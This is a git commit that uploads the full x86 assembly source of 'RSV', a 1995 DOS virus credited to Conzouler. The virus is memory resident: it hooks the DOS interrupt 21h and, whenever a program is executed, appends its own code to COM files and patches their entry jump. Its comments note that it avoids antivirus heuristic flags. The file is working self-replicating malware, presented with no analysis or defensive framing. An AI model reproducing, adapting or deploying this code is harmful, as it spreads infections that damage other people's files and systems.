Add files via upload

2026-06-16 07:49:24 +00:00 · 2021-01-12 17:58:25 -06:00
parent b60161f008
commit 5dd4938a52
99 changed files with 41606 additions and 0 deletions
@@ -0,0 +1,160 @@
+;
+;  RSV - written by Conzouler 1995
+;
+;  memory resident
+;  com-append on execute
+;  no tb-flags
+;  no impressive features...
+;
+
+.model tiny
+.code
+.286
+ org 100h
+
+psize   equ     (offset last - offset entry) / 10h + 1
+size    equ     offset last - offset entry
+
+entry:
+        db      0e9h,0,0
+start:
+        call    gores
+
+oentry  db      0CDh,20h,90h
+
+gores:
+        mov     ax, 4277h
+        int     21h
+        jnc     restore
+
+        mov     ah, 4Ah
+        mov     bx, 0FFFFh
+        int     21h
+        mov     ah, 4Ah
+        sub     bx, psize+1
+        int     21h
+        mov     ah, 48h
+        mov     bx, psize
+        int     21h
+        sub     ax, 10h
+        mov     es, ax
+        mov     word ptr es:[0F1h], 8
+        mov     di, 103h
+        mov     bp, sp
+        mov     si, ss:[bp]
+        sub     si, 3
+        mov     cx, size-3
+        rep     movsb
+        push    es
+        pop     ds
+        mov     ax, 3521h
+        int     21h
+        mov     i21o, bx
+        mov     i21s, es
+        mov     ah, 25h
+        mov     dx, offset vec21
+        int     21h
+
+restore:
+        push    cs
+        pop     ds
+        push    ds
+        pop     es
+        pop     si
+        mov     di, 100h
+        push    di
+        movsw
+        movsb
+        retn
+
+i21:    db      0eAh
+i21o    dw      ?
+i21s    dw      ?
+
+vec21:
+        cmp     ax, 4277h
+        jne     v21e
+        clc
+        retf    2
+v21e:   cmp     ax, 4B00h
+        je      infect
+v21x:
+        jmp     i21
+
+
+infect:
+        push    ax
+        push    bx
+        push    cx
+        push    dx
+        push    si
+        push    ds
+
+        mov     ax, 3D82h
+        int     21h
+        xchg    ax, bx
+
+        push    cs
+        pop     ds
+        mov     ah, 3Fh
+        mov     dx, offset oentry
+        mov     cx, 3
+        int     21h
+        cmp     byte ptr oentry, 'M'
+        je      infectx
+
+        mov     ax, 4202h
+        xor     cx, cx
+        cwd
+        int     21h
+        dec     ax
+        mov     si, ax
+        xchg    dx, ax
+        mov     ax, 4200h
+        int     21h
+        mov     dx, offset last
+        mov     ah, 3Fh
+        mov     cx, 1
+        int     21h
+        cmp     byte ptr last, 087h
+        je      infectx
+
+        xchg    ax, si
+        sub     ax, 2
+        mov     byte ptr entry, 0E9h
+        mov     word ptr entry[1], ax
+
+        mov     ah, 3Fh
+        inc     ah
+        push    ax
+        mov     dx, 103h
+        mov     cx, size-3
+        int     21h
+
+        mov     ax, 4200h
+        xor     cx, cx
+        cwd
+        int     21h
+
+        pop     ax
+        mov     dx, 100h
+        mov     cx, 3
+        int     21h
+infectx:
+        mov     ah, 3Eh
+        int     21h
+
+        pop     ds
+        pop     si
+        pop     dx
+        pop     cx
+        pop     bx
+        pop     ax
+        jmp     v21x
+
+last:
+end     entry
+
+
+
+